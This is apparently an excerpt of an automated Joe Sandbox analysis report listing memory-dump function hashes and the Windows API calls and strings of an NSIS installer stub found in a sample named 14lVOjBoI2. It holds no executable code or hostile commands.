Source File: 00000005.00000002.2643138161.0000000000110000.00000040.00000800.00020000.00000000.sdmp, Offset: 00110000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_110000_14lVOjBoI2.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: fc97a387a3e07ac40b5f7e5d83c090a3e8e87f7b87c6c5c240cb28496ff77d9a
Instruction ID: 37605eae682826c2f61eacc2ccd30349fa4570486a1976b0bb33456cf5eb44ea
Opcode Fuzzy Hash: fc97a387a3e07ac40b5f7e5d83c090a3e8e87f7b87c6c5c240cb28496ff77d9a
Instruction Fuzzy Hash: 63012832B052146FDB099E949811AEF3BE6EBC9740F144035F901C7391DB318E469BD0

Function 38DCE5B8 Relevance: .0, Instructions: 50COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.2672560105.0000000038DC0000.00000040.00000800.00020000.00000000.sdmp, Offset: 38DC0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_38dc0000_14lVOjBoI2.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 2aec14f962820ce9fd1543a513332cb5b49fb841db39e3825178c6ce2ca15392
Instruction ID: 9f9513d8cc786350333f4e118387ee5b73bd87918df1ac1864a91c75d90f4874
Opcode Fuzzy Hash: 2aec14f962820ce9fd1543a513332cb5b49fb841db39e3825178c6ce2ca15392
Instruction Fuzzy Hash: 87016570740A118F9714DF6EC48191AB7F6FF89795305867AE00ACB321EB30ED46DB81

Function 0011B2F0 Relevance: .0, Instructions: 49COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.2643138161.0000000000110000.00000040.00000800.00020000.00000000.sdmp, Offset: 00110000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_110000_14lVOjBoI2.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 929aacc8ed3dfabe2319b5789ba8d8355e355e874d4833a94cb1d66876adbbb2
Instruction ID: bf30e489d8f7318c27fb9e373ad4e320daafb7e7081d5ab351d8d3239d821840
Opcode Fuzzy Hash: 929aacc8ed3dfabe2319b5789ba8d8355e355e874d4833a94cb1d66876adbbb2
Instruction Fuzzy Hash: FC018132B043154FDB18AB79889867E7AEBBFC4B613154439D919C7221FF70CD4087A1

Function 00114664 Relevance: .0, Instructions: 44COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.2643138161.0000000000110000.00000040.00000800.00020000.00000000.sdmp, Offset: 00110000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_110000_14lVOjBoI2.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 65216989199829ebeacde090981dd7cea57678b78801ba6dc957edb31d0560cc
Instruction ID: 83b22bcd552e887eaa7068a04e862aa40a82cb0a86e96c7057f97f9c380bf794
Opcode Fuzzy Hash: 65216989199829ebeacde090981dd7cea57678b78801ba6dc957edb31d0560cc
Instruction Fuzzy Hash: 6401DF363081059FCF0DAF64D8A45E97BA2EF8A714B018039F916CB265DB35CE61DB90

Function 00118D19 Relevance: .0, Instructions: 44COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.2643138161.0000000000110000.00000040.00000800.00020000.00000000.sdmp, Offset: 00110000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_110000_14lVOjBoI2.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: e52e988738b58f0c511fa129dabf322ce746c43b108547f7862788a677a7da0e
Instruction ID: ef5f3295b2958666c902beffca5cde4de7d16530eddc9ab9f3bd84ad3a7c47dd
Opcode Fuzzy Hash: e52e988738b58f0c511fa129dabf322ce746c43b108547f7862788a677a7da0e
Instruction Fuzzy Hash: 6AF04F353002146FDB095AE69850ABBBB9BEBDD3A1B148439F949C7391DE71CC4187A0

Function 38DCCC29 Relevance: .0, Instructions: 42COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.2672560105.0000000038DC0000.00000040.00000800.00020000.00000000.sdmp, Offset: 38DC0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_38dc0000_14lVOjBoI2.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 2ceb4284a38898bc012438a5ee59d0d7feeeeaf2f7d7045f5bc53e9d3cd6ea1a
Instruction ID: de9e7ce58c64ad5c2b4ef3e02542271b45de4ceb7da7f87471a046d6aac0f62e
Opcode Fuzzy Hash: 2ceb4284a38898bc012438a5ee59d0d7feeeeaf2f7d7045f5bc53e9d3cd6ea1a
Instruction Fuzzy Hash: 7F012834D01648DFDB08DFA4D8546EDB7B2EB8B342F909469C401B7261DB359952CB64

Function 0011FC40 Relevance: .0, Instructions: 41COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.2643138161.0000000000110000.00000040.00000800.00020000.00000000.sdmp, Offset: 00110000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_110000_14lVOjBoI2.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: a65bd8c2ce07334ad67c52e958a0dd72aab850c8202891ad7bbab49d0c191e0e
Instruction ID: 1f1450e0c9f6925af046a7d0765c8cb6ae8cfcd75c93f8045c97e15e61ff3992
Opcode Fuzzy Hash: a65bd8c2ce07334ad67c52e958a0dd72aab850c8202891ad7bbab49d0c191e0e
Instruction Fuzzy Hash: CC016D35900248DFDF08CFA9C409BE8BBB6EB8E301F505078E90573250CB765997DB94

Function 38DCCC38 Relevance: .0, Instructions: 39COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.2672560105.0000000038DC0000.00000040.00000800.00020000.00000000.sdmp, Offset: 38DC0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_38dc0000_14lVOjBoI2.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: f34a2dfb5ad7dbbfbbca9d79ef097f34ea20ad6267bc76cd4ed246be7799b570
Instruction ID: 7e247fda4fa85b0b8fbb75dfdcd2ed4df8908ca003de717f1f30f4c22339b520
Opcode Fuzzy Hash: f34a2dfb5ad7dbbfbbca9d79ef097f34ea20ad6267bc76cd4ed246be7799b570
Instruction Fuzzy Hash: BCF03738D01208CFDB04EFB9D8546EDB7B2EB8F301F50A469C505B3251DB365952CB65

Function 38DC9568 Relevance: .0, Instructions: 39COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.2672560105.0000000038DC0000.00000040.00000800.00020000.00000000.sdmp, Offset: 38DC0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_38dc0000_14lVOjBoI2.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 4c6b5764e853e3bcee43adc2209198fe033b51246744562dca3a966f323d6e06
Instruction ID: ff4c05fee04df3eada474a7c0d6511f6b805953ca169d1c6e16ffcd3b117d276
Opcode Fuzzy Hash: 4c6b5764e853e3bcee43adc2209198fe033b51246744562dca3a966f323d6e06
Instruction Fuzzy Hash: C1F0FFB4E00608DFEF009B66D8807AF7BB1FB883A1F00893AE40697640DB34A5498B91

Function 38DCD2A0 Relevance: .0, Instructions: 38COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.2672560105.0000000038DC0000.00000040.00000800.00020000.00000000.sdmp, Offset: 38DC0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_38dc0000_14lVOjBoI2.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 269dc607691763bff4ed59d50337a37c09146a3b9486149b7f3b1757889d96b0
Instruction ID: 6a8bc3b0a18fce676cdd8d630374fdf110d8229f979e9e697108a2d53e833dc9
Opcode Fuzzy Hash: 269dc607691763bff4ed59d50337a37c09146a3b9486149b7f3b1757889d96b0
Instruction Fuzzy Hash: 57F05C203483442FE70566799821B2F777A9FC61D1B0940BAD507DB24ACE68CC0687F5

Function 38DC9588 Relevance: .0, Instructions: 35COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.2672560105.0000000038DC0000.00000040.00000800.00020000.00000000.sdmp, Offset: 38DC0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_38dc0000_14lVOjBoI2.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: f640e99ddaddac1e2cfd87b3f5eb4144310b9ee60c530eb70d9026c0e1a5061c
Instruction ID: da0eaf77ff84b5cd8cf4e2d4834100f32493d16a3e6ba6e7319f2dc2425cb005
Opcode Fuzzy Hash: f640e99ddaddac1e2cfd87b3f5eb4144310b9ee60c530eb70d9026c0e1a5061c
Instruction Fuzzy Hash: 42F0E53039430567F20062A99858B2FB36AAFC63E1F004436E60AD7348DFA8DC0247F6

Function 0011FC38 Relevance: .0, Instructions: 35COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.2643138161.0000000000110000.00000040.00000800.00020000.00000000.sdmp, Offset: 00110000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_110000_14lVOjBoI2.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 1b5eb5d8cafc822a19ebe8660ad040c63552756d67886e8e732245d27b7e4dea
Instruction ID: 0401f309e36e601a2879265fa5b85dc3f2621da33c07082b81ba72607b57d0ca
Opcode Fuzzy Hash: 1b5eb5d8cafc822a19ebe8660ad040c63552756d67886e8e732245d27b7e4dea
Instruction Fuzzy Hash: 80F04935A0020CCFCF08CFA8D544AEC7B72EB59302B601179E601B6220C3764983DF54

Function 0011B158 Relevance: .0, Instructions: 32COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.2643138161.0000000000110000.00000040.00000800.00020000.00000000.sdmp, Offset: 00110000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_110000_14lVOjBoI2.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 87852efa5c40f2314385296d7f24a5de4b84c59980b34a5dd6c8abe32dbd4089
Instruction ID: 11d322ddf3828ec90648ca463e1e5da9310b9cbaa744d4571c8e9f3bc52f556f
Opcode Fuzzy Hash: 87852efa5c40f2314385296d7f24a5de4b84c59980b34a5dd6c8abe32dbd4089
Instruction Fuzzy Hash: 2EF01531419F829FF7152B30ACBC2AA7FB0FF0B313B856D55E05A82072CB684549CB00

Function 0011FF80 Relevance: .0, Instructions: 26COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.2643138161.0000000000110000.00000040.00000800.00020000.00000000.sdmp, Offset: 00110000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_110000_14lVOjBoI2.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 2e3b5dc92a67698e63dcace7de0dbf385d058b002f5204bb1ba4b9fdd396cac6
Instruction ID: 1d47603ce7f5fe441403f0ffce54e7b7f1a6c0940b82080584556e065743f1e3
Opcode Fuzzy Hash: 2e3b5dc92a67698e63dcace7de0dbf385d058b002f5204bb1ba4b9fdd396cac6
Instruction Fuzzy Hash: 0DE0923A20C3426F8B169B24D800996BBA56E8326070544BEE089C7161CB62EC97C391

Function 00111877 Relevance: .0, Instructions: 25COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.2643138161.0000000000110000.00000040.00000800.00020000.00000000.sdmp, Offset: 00110000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_110000_14lVOjBoI2.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: ee612a23045747b7700f1ce6b8ac732e13d5c71e3fb962cab7de171dca25733a
Instruction ID: 1210e5b2858770e9714feda90f6f508f06b075233296e598d86298bb69301048
Opcode Fuzzy Hash: ee612a23045747b7700f1ce6b8ac732e13d5c71e3fb962cab7de171dca25733a
Instruction Fuzzy Hash: E0E01A35D513668EC712AFB4D8144EEBF74FE93710B4642A7D054AB094EB301A9ECB71

Function 0011FE20 Relevance: .0, Instructions: 23COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.2643138161.0000000000110000.00000040.00000800.00020000.00000000.sdmp, Offset: 00110000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_110000_14lVOjBoI2.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 48eca922de56752db89699c214a6e462ff3e82a62d9bb0f63d6d347f507396d2
Instruction ID: 1c1342d55711e398da7e5266d2030419360cf69906e6d51da68c3337dc671baf
Opcode Fuzzy Hash: 48eca922de56752db89699c214a6e462ff3e82a62d9bb0f63d6d347f507396d2
Instruction Fuzzy Hash: BBE06D34D05208DFCB08DFB8D44869CBBB5AB49301F6040B9D805A3220E7304A82CB40

Function 00111888 Relevance: .0, Instructions: 19COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.2643138161.0000000000110000.00000040.00000800.00020000.00000000.sdmp, Offset: 00110000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_110000_14lVOjBoI2.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: a8293f07e31ea53c45453e62b8e63202a2efe75e09d8f789366cc5b34fb0adeb
Instruction ID: a7925a47f84833d748cca345b0d4b124d72dd65a835aba162b19291c4699523a
Opcode Fuzzy Hash: a8293f07e31ea53c45453e62b8e63202a2efe75e09d8f789366cc5b34fb0adeb
Instruction Fuzzy Hash: D8D01732D2022A979B10AAA9DC048EEBB38EE96621B908626D52437140EB70265986B1

Function 001156FF Relevance: .0, Instructions: 18COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.2643138161.0000000000110000.00000040.00000800.00020000.00000000.sdmp, Offset: 00110000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_110000_14lVOjBoI2.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 8e2767be6dae68e10d115ecb295158f296df3fc58662b4f18877e566ccc3a297
Instruction ID: 949ef14fe19fe5b438486556436e5e25e2aadfaa30921962688bc5e33d524fdb
Opcode Fuzzy Hash: 8e2767be6dae68e10d115ecb295158f296df3fc58662b4f18877e566ccc3a297
Instruction Fuzzy Hash: 8EE02B3504E3844FCA17E331EC692D97B2A9B86100F455455E0440BA6BEE7A2B4B9B62

Function 0011FF28 Relevance: .0, Instructions: 17COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.2643138161.0000000000110000.00000040.00000800.00020000.00000000.sdmp, Offset: 00110000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_110000_14lVOjBoI2.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: eddcf0a3a13abe15eb999c0c67dcc5ccadcfe3ac89222e2e524cd98617618eb7
Instruction ID: 506ba9a650db86e1238b3ae238ebc84b04c1b194b271c2ac8150a400020a4c28
Opcode Fuzzy Hash: eddcf0a3a13abe15eb999c0c67dcc5ccadcfe3ac89222e2e524cd98617618eb7
Instruction Fuzzy Hash: 74D0A731805208DFC788EFE4D40ABE9B779EB47301F4011ECD81823250DB764E52D789

Function 00119F6D Relevance: .0, Instructions: 16COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.2643138161.0000000000110000.00000040.00000800.00020000.00000000.sdmp, Offset: 00110000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_110000_14lVOjBoI2.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: f6b5c8ea7c0e33d4ad9c04c6af2ecce650d6f4609c4139ff1565b54af5be4efc
Instruction ID: 07ef9a297b381dbf9490c1df4808e48a4c9003d804a0ababc23287f60f817615
Opcode Fuzzy Hash: f6b5c8ea7c0e33d4ad9c04c6af2ecce650d6f4609c4139ff1565b54af5be4efc
Instruction Fuzzy Hash: CDD0673AB04008EFDB049F98EC809DDF776FB98221B048116F915A3260C6319965DB54

Function 38DC9558 Relevance: .0, Instructions: 15COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.2672560105.0000000038DC0000.00000040.00000800.00020000.00000000.sdmp, Offset: 38DC0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_38dc0000_14lVOjBoI2.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 294c3fd8dabb38d63fbbb57242df5dbff5f71400d6760fd7e4f18a4def7dbf8d
Instruction ID: e87028061f9eb3bf74371900407d7d9e2185aafef90263140f1ba1986c72f006
Opcode Fuzzy Hash: 294c3fd8dabb38d63fbbb57242df5dbff5f71400d6760fd7e4f18a4def7dbf8d
Instruction Fuzzy Hash: 19C08032254710135224532DB44459F7365CFCD7E03508F67F155831048D705D47419D

Function 38DCCE6D Relevance: .0, Instructions: 15COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.2672560105.0000000038DC0000.00000040.00000800.00020000.00000000.sdmp, Offset: 38DC0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_38dc0000_14lVOjBoI2.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 1f1fb161b16d360af3eddf6093698eed8871cb8ca978997faed03e04cd1148be
Instruction ID: 5a447d582181cd9ecf413c48465d63bc761e32951360334eb4d4c9d2c77af71b
Opcode Fuzzy Hash: 1f1fb161b16d360af3eddf6093698eed8871cb8ca978997faed03e04cd1148be
Instruction Fuzzy Hash: E8D0A72291E3E02FD7239338B41408CBF705D8B16030A4AEFC184CB0B7C9680D8B875A

Function 0011FF30 Relevance: .0, Instructions: 15COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.2643138161.0000000000110000.00000040.00000800.00020000.00000000.sdmp, Offset: 00110000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_110000_14lVOjBoI2.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 3dc68d9353978a23b5bb4cfeab54ad6065a0505dff7b5b8b70d6a086e4ed85b8
Instruction ID: cc32f58491713e5526477671b30d359dcb9bcf670334161d0bea95d55674f22e
Opcode Fuzzy Hash: 3dc68d9353978a23b5bb4cfeab54ad6065a0505dff7b5b8b70d6a086e4ed85b8
Instruction Fuzzy Hash: 97D0C971805209DFD748DBA4D80ABE9B779A747202F4011AC9418632509BB15D51D799

Function 38DCBD48 Relevance: .0, Instructions: 13COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.2672560105.0000000038DC0000.00000040.00000800.00020000.00000000.sdmp, Offset: 38DC0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_38dc0000_14lVOjBoI2.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 1ef6870ebede67630c17495efd9194e4b18e9e4cfe280a1f7e11dc8f1bc004e8
Instruction ID: 0169b0a8e16baf42a00849f9ec1367fa60d3a3ade5c6c0cb2c3d015b79f4d933
Opcode Fuzzy Hash: 1ef6870ebede67630c17495efd9194e4b18e9e4cfe280a1f7e11dc8f1bc004e8
Instruction Fuzzy Hash: 14C012B4041E098BE6082B60AC0CB79B2B8B707303FC82910E009028308BB884188648

Function 38DCCD09 Relevance: .0, Instructions: 13COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.2672560105.0000000038DC0000.00000040.00000800.00020000.00000000.sdmp, Offset: 38DC0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_38dc0000_14lVOjBoI2.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 4a1ef8e7bd35b44abf379b25c818294e7de17ec6e344df7e664d258dad1f830f
Instruction ID: 5540d83c3658179e2ed26b6ccf7316b04d95634cfa131c2c0877744f05bd6032
Opcode Fuzzy Hash: 4a1ef8e7bd35b44abf379b25c818294e7de17ec6e344df7e664d258dad1f830f
Instruction Fuzzy Hash: 1CD012312683444FD3024A79D400A013BBC9F56B14B1241E6E445CB673D656ED048750

Function 38DC9434 Relevance: .0, Instructions: 12COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.2672560105.0000000038DC0000.00000040.00000800.00020000.00000000.sdmp, Offset: 38DC0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_38dc0000_14lVOjBoI2.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 871068d62d374c8246bf908029c047f6fa06d42c89b106d86db7b1c85c7ed806
Instruction ID: 2b666907a01eedf36ecc380ea1f68bcbbcdff79e8cfc9448d261944517d6b9b9
Opcode Fuzzy Hash: 871068d62d374c8246bf908029c047f6fa06d42c89b106d86db7b1c85c7ed806
Instruction Fuzzy Hash: A2C08C302A43048FE200AA1CC884A4133ACEF89B05F2018A0F1048B622CB22FC004A41

Function 00115710 Relevance: .0, Instructions: 12COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.2643138161.0000000000110000.00000040.00000800.00020000.00000000.sdmp, Offset: 00110000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_110000_14lVOjBoI2.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 858b1c4ff914b1be0e635bbe5d5e85760f86359a74b3ddfaf1ae5c61227d495a
Instruction ID: deb9cd3250710d5209ab33669cc3c2a995f673933fd6fdb1340475dc29568720
Opcode Fuzzy Hash: 858b1c4ff914b1be0e635bbe5d5e85760f86359a74b3ddfaf1ae5c61227d495a
Instruction Fuzzy Hash: 1DC080340453084BDD09F775DC56655332EE7C81017818510F0091666FEFB96D574F91

Non-executed Functions

Function 004032A0 Relevance: 77.4, APIs: 32, Strings: 12, Instructions: 401stringfilecomCOMMON

Download Yara Rule

APIs

SetErrorMode.KERNEL32 ref: 004032C2
GetVersion.KERNEL32 ref: 004032C8
#17.COMCTL32(00000007,00000009,SETUPAPI,USERENV,UXTHEME), ref: 00403318
OleInitialize.OLE32(00000000), ref: 0040331F
SHGetFileInfoW.SHELL32(0042B228,00000000,?,000002B4,00000000), ref: 0040333B
GetCommandLineW.KERNEL32(00433F00,NSIS Error), ref: 00403350
GetModuleHandleW.KERNEL32(00000000,0043F000,00000000), ref: 00403363
CharNextW.USER32(00000000,0043F000,00000020), ref: 0040338A

Part of subcall function 0040642B: GetModuleHandleA.KERNEL32(?,?,00000020,0040330C,00000009,SETUPAPI,USERENV,UXTHEME), ref: 0040643D
Part of subcall function 0040642B: GetProcAddress.KERNEL32(00000000,?), ref: 00406458

GetTempPathW.KERNEL32(00000400,00441800), ref: 004034C5
GetWindowsDirectoryW.KERNEL32(00441800,000003FB), ref: 004034D6
lstrcatW.KERNEL32(00441800,\Temp), ref: 004034E2
GetTempPathW.KERNEL32(000003FC,00441800,00441800,\Temp), ref: 004034F6
lstrcatW.KERNEL32(00441800,Low), ref: 004034FE
SetEnvironmentVariableW.KERNEL32(TEMP,00441800,00441800,Low), ref: 0040350F
SetEnvironmentVariableW.KERNEL32(TMP,00441800), ref: 00403517
DeleteFileW.KERNEL32(00441000), ref: 0040352B

Part of subcall function 00406055: lstrcpynW.KERNEL32(0040A300,0040A300,00000400,00403350,00433F00,NSIS Error), ref: 00406062

OleUninitialize.OLE32(?), ref: 004035F6
ExitProcess.KERNEL32 ref: 00403618
lstrcatW.KERNEL32(00441800,~nsu,0043F000,00000000,?), ref: 0040362B
lstrcatW.KERNEL32(00441800,0040A26C,00441800,~nsu,0043F000,00000000,?), ref: 0040363A
lstrcatW.KERNEL32(00441800,.tmp,00441800,~nsu,0043F000,00000000,?), ref: 00403645
lstrcmpiW.KERNEL32(00441800,00440800,00441800,.tmp,00441800,~nsu,0043F000,00000000,?), ref: 00403651
SetCurrentDirectoryW.KERNEL32(00441800,00441800), ref: 0040366D
DeleteFileW.KERNEL32(0042AA28,0042AA28,?,00435000,?), ref: 004036C7
CopyFileW.KERNEL32(00442800,0042AA28,00000001), ref: 004036DB
CloseHandle.KERNEL32(00000000,0042AA28,0042AA28,?,0042AA28,00000000), ref: 00403708
GetCurrentProcess.KERNEL32(00000028,?), ref: 00403737
OpenProcessToken.ADVAPI32(00000000), ref: 0040373E
LookupPrivilegeValueW.ADVAPI32(00000000,SeShutdownPrivilege,?), ref: 00403753
AdjustTokenPrivileges.ADVAPI32 ref: 00403776
ExitWindowsEx.USER32(00000002,80040002), ref: 0040379B
ExitProcess.KERNEL32 ref: 004037BE

Strings

UXTHEME, xrefs: 004032E7
TMP, xrefs: 00403512
TEMP, xrefs: 0040350A
.tmp, xrefs: 0040363F
\Temp, xrefs: 004034DC
SeShutdownPrivilege, xrefs: 0040374D
~nsu, xrefs: 00403623
NSIS Error, xrefs: 00403341
SETUPAPI, xrefs: 004032FB
Low, xrefs: 004034F8
USERENV, xrefs: 004032F1
Error launching installer, xrefs: 004035AD

Memory Dump Source

Source File: 00000005.00000002.2643392985.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000005.00000002.2643377365.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.2643408809.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.2643427234.000000000040A000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.2643593639.000000000045D000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_400000_14lVOjBoI2.jbxd

Similarity

API ID: lstrcat$FileProcess$ExitHandle$CurrentDeleteDirectoryEnvironmentModulePathTempTokenVariableWindows$AddressAdjustCharCloseCommandCopyErrorInfoInitializeLineLookupModeNextOpenPrivilegePrivilegesProcUninitializeValueVersionlstrcmpilstrcpyn
String ID: .tmp$Error launching installer$Low$NSIS Error$SETUPAPI$SeShutdownPrivilege$TEMP$TMP$USERENV$UXTHEME$\Temp$~nsu
API String ID: 3586999533-3972089011
Opcode ID: b76b61fe59c96232ee09de7477e4ba1d3ea630d83fddd21a04d7d9ff3721efeb
Instruction ID: 84ba5929d45b1413e1818888a5ef7abe037fd34abcf77f3f73da9f6cce4da4cf
Opcode Fuzzy Hash: b76b61fe59c96232ee09de7477e4ba1d3ea630d83fddd21a04d7d9ff3721efeb
Instruction Fuzzy Hash: 35D1F870500300ABD310BF659D49A3B3AADEB8174AF51443FF581B62E2DB7D8945876E

Function 00404B30 Relevance: 63.5, APIs: 33, Strings: 3, Instructions: 481windowmemoryCOMMON

Download Yara Rule

APIs

GetDlgItem.USER32(?,000003F9), ref: 00404B48
GetDlgItem.USER32(?,00000408), ref: 00404B53
GlobalAlloc.KERNEL32(00000040,?), ref: 00404B9D
LoadBitmapW.USER32(0000006E), ref: 00404BB0
SetWindowLongW.USER32(?,000000FC,00405128), ref: 00404BC9
ImageList_Create.COMCTL32(00000010,00000010,00000021,00000006,00000000), ref: 00404BDD
ImageList_AddMasked.COMCTL32(00000000,00000000,00FF00FF), ref: 00404BEF
SendMessageW.USER32(?,00001109,00000002), ref: 00404C05
SendMessageW.USER32(?,0000111C,00000000,00000000), ref: 00404C11
SendMessageW.USER32(?,0000111B,00000010,00000000), ref: 00404C23
DeleteObject.GDI32(00000000), ref: 00404C26
SendMessageW.USER32(?,00000143,00000000,00000000), ref: 00404C51
SendMessageW.USER32(?,00000151,00000000,00000000), ref: 00404C5D
SendMessageW.USER32(?,00001132,00000000,?), ref: 00404CF3
SendMessageW.USER32(?,0000110A,00000003,00000000), ref: 00404D1E
SendMessageW.USER32(?,00001132,00000000,?), ref: 00404D32
GetWindowLongW.USER32(?,000000F0), ref: 00404D61
SetWindowLongW.USER32(?,000000F0,00000000), ref: 00404D6F
ShowWindow.USER32(?,00000005), ref: 00404D80
SendMessageW.USER32(?,00000419,00000000,?), ref: 00404E7D
SendMessageW.USER32(?,00000147,00000000,00000000), ref: 00404EE2
SendMessageW.USER32(?,00000150,00000000,00000000), ref: 00404EF7
SendMessageW.USER32(?,00000420,00000000,00000020), ref: 00404F1B
SendMessageW.USER32(?,00000200,00000000,00000000), ref: 00404F3B
ImageList_Destroy.COMCTL32(?), ref: 00404F50
GlobalFree.KERNEL32(?), ref: 00404F60
SendMessageW.USER32(?,0000014E,00000000,00000000), ref: 00404FD9
SendMessageW.USER32(?,00001102,?,?), ref: 00405082
SendMessageW.USER32(?,0000113F,00000000,00000008), ref: 00405091
InvalidateRect.USER32(?,00000000,00000001), ref: 004050B1
ShowWindow.USER32(?,00000000), ref: 004050FF
GetDlgItem.USER32(?,000003FE), ref: 0040510A
ShowWindow.USER32(00000000), ref: 00405111

Strings

, xrefs: 004050E9
M, xrefs: 00404CDA
N, xrefs: 00404DBB

Memory Dump Source

Source File: 00000005.00000002.2643392985.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000005.00000002.2643377365.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.2643408809.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.2643427234.000000000040A000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.2643593639.000000000045D000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_400000_14lVOjBoI2.jbxd

Similarity

API ID: MessageSend$Window$ImageItemList_LongShow$Global$AllocBitmapCreateDeleteDestroyFreeInvalidateLoadMaskedObjectRect
String ID: $M$N
API String ID: 1638840714-813528018
Opcode ID: 4cbb5e0717cdc748ffed23d4a8be9d35437acf42fd757cc9a3c8c6ab170577e7
Instruction ID: 943130f726a074c81f80d4b2a4465e83a32f395645510c1f9de1d6fa8cfacfb7
